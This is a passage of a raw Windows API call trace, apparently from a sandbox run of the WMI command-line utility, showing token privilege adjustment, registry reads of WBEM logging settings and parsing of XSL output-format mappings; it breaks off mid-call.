DisableAllPrivileges=0, NewState=0x4439f8*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0154.295] CloseHandle (hObject=0x170) returned 1 [0154.295] SetThreadUILanguage (LangId=0x0) returned 0x409 [0154.297] _vsnwprintf (in: _Buffer=0x443a88, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0xef980 | out: _Buffer="ms_409") returned 6 [0154.297] GetComputerNameW (in: lpBuffer=0x443ad0, nSize=0xef9e4 | out: lpBuffer="LHNIWSJ", nSize=0xef9e4) returned 1 [0154.297] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.297] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.297] ResolveDelayLoadedAPI () returned 0x7457c5f0 [0154.297] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0xef9f8 | out: lpNameBuffer=0x0, nSize=0xef9f8) returned 0x0 [0154.298] GetLastError () returned 0xea [0154.298] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x443b10, nSize=0xef9f8 | out: lpNameBuffer="LHNIWSJ\\CIiHmnxMn6Ps", nSize=0xef9f8) returned 0x1 [0154.298] lstrlenW (lpString="") returned 0 [0154.298] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.298] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0154.299] lstrlenW (lpString=".") returned 1 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.299] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2=".", cchCount2=1) returned 3 [0154.299] lstrlenW (lpString="LOCALHOST") returned 9 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.299] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="LOCALHOST", cchCount2=9) returned 1 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.299] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="LHNIWSJ", cchCount2=7) returned 2 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.299] lstrlenW (lpString="LHNIWSJ") returned 7 [0154.300] ResolveDelayLoadedAPI () returned 0x77259840 [0154.302] SysStringLen (param_1="IDENTIFY") returned 0x8 [0154.302] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0154.302] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0154.302] SysStringLen (param_1="IDENTIFY") returned 0x8 [0154.302] SysStringLen (param_1="IMPERSONATE") returned 0xb [0154.302] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0154.302] SysStringLen (param_1="IMPERSONATE") returned 0xb [0154.302] SysStringLen (param_1="IDENTIFY") returned 0x8 [0154.302] SysStringLen (param_1="IDENTIFY") returned 0x8 [0154.302] SysStringLen (param_1="IMPERSONATE") returned 0xb [0154.302] SysStringLen (param_1="DELEGATE") returned 0x8 [0154.302] SysStringLen (param_1="IDENTIFY") returned 0x8 [0154.302] SysStringLen (param_1="DELEGATE") returned 0x8 [0154.302] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0154.302] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0154.302] SysStringLen (param_1="DELEGATE") returned 0x8 [0154.302] SysStringLen (param_1="NONE") returned 0x4 [0154.302] SysStringLen (param_1="DEFAULT") returned 0x7 [0154.302] SysStringLen (param_1="DEFAULT") returned 0x7 [0154.303] SysStringLen (param_1="NONE") returned 0x4 [0154.303] SysStringLen (param_1="CONNECT") returned 0x7 [0154.303] SysStringLen (param_1="DEFAULT") returned 0x7 [0154.303] SysStringLen (param_1="CALL") returned 0x4 [0154.303] SysStringLen (param_1="DEFAULT") returned 0x7 [0154.303] SysStringLen (param_1="CALL") returned 0x4 [0154.303] SysStringLen (param_1="CONNECT") returned 0x7 [0154.303] SysStringLen (param_1="PKT") returned 0x3 [0154.303] SysStringLen (param_1="DEFAULT") returned 0x7 [0154.303] SysStringLen (param_1="PKT") returned 0x3 [0154.303] SysStringLen (param_1="NONE") returned 0x4 [0154.303] SysStringLen (param_1="NONE") returned 0x4 [0154.303] SysStringLen (param_1="PKT") returned 0x3 [0154.303] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0154.304] SysStringLen (param_1="DEFAULT") returned 0x7 [0154.304] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0154.304] SysStringLen (param_1="NONE") returned 0x4 [0154.304] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0154.304] SysStringLen (param_1="PKT") returned 0x3 [0154.304] SysStringLen (param_1="PKT") returned 0x3 [0154.304] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0154.304] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0154.304] SysStringLen (param_1="DEFAULT") returned 0x7 [0154.304] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0154.304] SysStringLen (param_1="PKT") returned 0x3 [0154.304] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0154.304] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0154.304] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0154.304] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0154.304] GetSystemDirectoryW (in: lpBuffer=0x442ab8, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0154.304] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0154.304] SysStringLen (param_1="\\wbem\\") returned 0x6 [0154.304] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0154.305] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0154.305] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0154.305] GetCurrentThreadId () returned 0x134 [0154.305] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0xef508 | out: phkResult=0xef508*=0x17c) returned 0x0 [0154.305] RegQueryValueExW (in: hKey=0x17c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0xef514, lpcbData=0xef510*=0x400 | out: lpType=0x0, lpData=0xef514*=0x30, lpcbData=0xef510*=0x4) returned 0x0 [0154.305] _wcsicmp (_String1="0", _String2="1") returned -1 [0154.305] _wcsicmp (_String1="0", _String2="2") returned -2 [0154.305] RegQueryValueExW (in: hKey=0x17c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xef510*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0xef510*=0x42) returned 0x0 [0154.305] RegQueryValueExW (in: hKey=0x17c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x446ca0, lpcbData=0xef510*=0x42 | out: lpType=0x0, lpData=0x446ca0*=0x25, lpcbData=0xef510*=0x42) returned 0x0 [0154.305] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0154.305] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0154.305] RegQueryValueExW (in: hKey=0x17c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0xef514, lpcbData=0xef510*=0x400 | out: lpType=0x0, lpData=0xef514*=0x36, lpcbData=0xef510*=0xc) returned 0x0 [0154.305] _wtol (_String="65536") returned 65536 [0154.305] RegCloseKey (hKey=0x0) returned 0x6 [0154.305] CoCreateInstance (in: rclsid=0xc86a7c*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc86a8c*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xef9a8 | out: ppv=0xef9a8*=0x9545a8) returned 0x0 [0154.501] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x9545a8, xmlSource=0xef928*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0xef98c | out: isSuccessful=0xef98c*=0xffff) returned 0x0 [0154.561] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x9545a8, DOMElement=0xef9a0 | out: DOMElement=0xef9a0*=0x956b48) returned 0x0 [0154.561] IXMLDOMElement:getElementsByTagName (in: This=0x956b48, tagName="XSLFORMAT", resultList=0xef99c | out: resultList=0xef99c*=0x959ca0) returned 0x0 [0154.563] IXMLDOMNodeList:get_length (in: This=0x959ca0, listLength=0xef994 | out: listLength=0xef994*=21) returned 0x0 [0154.564] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=0, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.565] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="texttable.xsl") returned 0x0 [0154.565] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.565] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.565] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0154.565] IUnknown:Release (This=0x956b88) returned 0x0 [0154.565] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.565] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.565] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=1, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.565] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="textvaluelist.xsl") returned 0x0 [0154.565] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.565] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.565] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0154.565] SysStringLen (param_1="VALUE") returned 0x5 [0154.566] SysStringLen (param_1="TABLE") returned 0x5 [0154.566] SysStringLen (param_1="TABLE") returned 0x5 [0154.566] SysStringLen (param_1="VALUE") returned 0x5 [0154.566] IUnknown:Release (This=0x956b88) returned 0x0 [0154.566] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.566] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.566] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=2, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.566] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="textvaluelist.xsl") returned 0x0 [0154.566] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.566] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.566] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x0)) returned 0x0 [0154.566] SysStringLen (param_1="LIST") returned 0x4 [0154.566] SysStringLen (param_1="TABLE") returned 0x5 [0154.566] IUnknown:Release (This=0x956b88) returned 0x0 [0154.566] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.566] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.566] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=3, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.566] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="rawxml.xsl") returned 0x0 [0154.566] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.566] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.566] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0154.566] SysStringLen (param_1="RAWXML") returned 0x6 [0154.566] SysStringLen (param_1="TABLE") returned 0x5 [0154.567] SysStringLen (param_1="RAWXML") returned 0x6 [0154.567] SysStringLen (param_1="LIST") returned 0x4 [0154.567] SysStringLen (param_1="LIST") returned 0x4 [0154.567] SysStringLen (param_1="RAWXML") returned 0x6 [0154.567] IUnknown:Release (This=0x956b88) returned 0x0 [0154.567] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.567] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.567] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=4, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.567] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="htable.xsl") returned 0x0 [0154.567] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.567] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.567] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0154.567] SysStringLen (param_1="HTABLE") returned 0x6 [0154.567] SysStringLen (param_1="TABLE") returned 0x5 [0154.567] SysStringLen (param_1="HTABLE") returned 0x6 [0154.567] SysStringLen (param_1="LIST") returned 0x4 [0154.567] IUnknown:Release (This=0x956b88) returned 0x0 [0154.567] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.567] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.567] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=5, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.567] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="hform.xsl") returned 0x0 [0154.567] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.567] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.567] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0154.568] SysStringLen (param_1="HFORM") returned 0x5 [0154.568] SysStringLen (param_1="TABLE") returned 0x5 [0154.568] SysStringLen (param_1="HFORM") returned 0x5 [0154.568] SysStringLen (param_1="LIST") returned 0x4 [0154.568] SysStringLen (param_1="HFORM") returned 0x5 [0154.568] SysStringLen (param_1="HTABLE") returned 0x6 [0154.568] IUnknown:Release (This=0x956b88) returned 0x0 [0154.568] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.568] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.568] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=6, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.568] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="xml.xsl") returned 0x0 [0154.568] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.568] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.568] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x0)) returned 0x0 [0154.568] SysStringLen (param_1="XML") returned 0x3 [0154.568] SysStringLen (param_1="TABLE") returned 0x5 [0154.568] SysStringLen (param_1="XML") returned 0x3 [0154.568] SysStringLen (param_1="VALUE") returned 0x5 [0154.568] SysStringLen (param_1="VALUE") returned 0x5 [0154.568] SysStringLen (param_1="XML") returned 0x3 [0154.568] IUnknown:Release (This=0x956b88) returned 0x0 [0154.568] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.568] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.569] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=7, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.569] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="mof.xsl") returned 0x0 [0154.569] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.569] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.569] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x0)) returned 0x0 [0154.569] SysStringLen (param_1="MOF") returned 0x3 [0154.569] SysStringLen (param_1="TABLE") returned 0x5 [0154.569] SysStringLen (param_1="MOF") returned 0x3 [0154.569] SysStringLen (param_1="LIST") returned 0x4 [0154.569] SysStringLen (param_1="MOF") returned 0x3 [0154.569] SysStringLen (param_1="RAWXML") returned 0x6 [0154.569] SysStringLen (param_1="LIST") returned 0x4 [0154.569] SysStringLen (param_1="MOF") returned 0x3 [0154.569] IUnknown:Release (This=0x956b88) returned 0x0 [0154.569] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.569] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.569] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=8, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.569] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="csv.xsl") returned 0x0 [0154.569] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.569] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.569] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x0)) returned 0x0 [0154.569] SysStringLen (param_1="CSV") returned 0x3 [0154.569] SysStringLen (param_1="TABLE") returned 0x5 [0154.569] SysStringLen (param_1="CSV") returned 0x3 [0154.569] SysStringLen (param_1="LIST") returned 0x4 [0154.569] SysStringLen (param_1="CSV") returned 0x3 [0154.570] SysStringLen (param_1="HTABLE") returned 0x6 [0154.570] SysStringLen (param_1="CSV") returned 0x3 [0154.570] SysStringLen (param_1="HFORM") returned 0x5 [0154.570] IUnknown:Release (This=0x956b88) returned 0x0 [0154.570] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.570] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.570] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=9, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.570] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="texttable.xsl") returned 0x0 [0154.570] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.570] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.570] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0154.570] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.570] SysStringLen (param_1="TABLE") returned 0x5 [0154.570] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.570] SysStringLen (param_1="VALUE") returned 0x5 [0154.570] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.570] SysStringLen (param_1="XML") returned 0x3 [0154.570] SysStringLen (param_1="XML") returned 0x3 [0154.570] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.570] IUnknown:Release (This=0x956b88) returned 0x0 [0154.570] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.570] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.570] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=10, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.570] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="texttable.xsl") returned 0x0 [0154.570] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.571] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.571] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0154.571] SysStringLen (param_1="texttablewsys") returned 0xd [0154.571] SysStringLen (param_1="TABLE") returned 0x5 [0154.571] SysStringLen (param_1="texttablewsys") returned 0xd [0154.571] SysStringLen (param_1="XML") returned 0x3 [0154.571] SysStringLen (param_1="texttablewsys") returned 0xd [0154.571] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.571] SysStringLen (param_1="XML") returned 0x3 [0154.571] SysStringLen (param_1="texttablewsys") returned 0xd [0154.571] IUnknown:Release (This=0x956b88) returned 0x0 [0154.571] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.571] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.571] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=11, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.571] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="texttable.xsl") returned 0x0 [0154.571] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.571] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.571] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0154.571] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.571] SysStringLen (param_1="TABLE") returned 0x5 [0154.571] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.571] SysStringLen (param_1="XML") returned 0x3 [0154.571] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.571] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.571] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.571] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.571] IUnknown:Release (This=0x956b88) returned 0x0 [0154.571] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.571] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.572] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=12, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.572] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="texttable.xsl") returned 0x0 [0154.572] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.572] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.572] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0154.572] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0154.572] SysStringLen (param_1="TABLE") returned 0x5 [0154.572] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0154.572] SysStringLen (param_1="XML") returned 0x3 [0154.572] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0154.572] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.572] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0154.572] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.572] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.572] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0154.572] IUnknown:Release (This=0x956b88) returned 0x0 [0154.572] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.572] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.572] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=13, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.572] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="texttable.xsl") returned 0x0 [0154.572] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.572] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.572] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 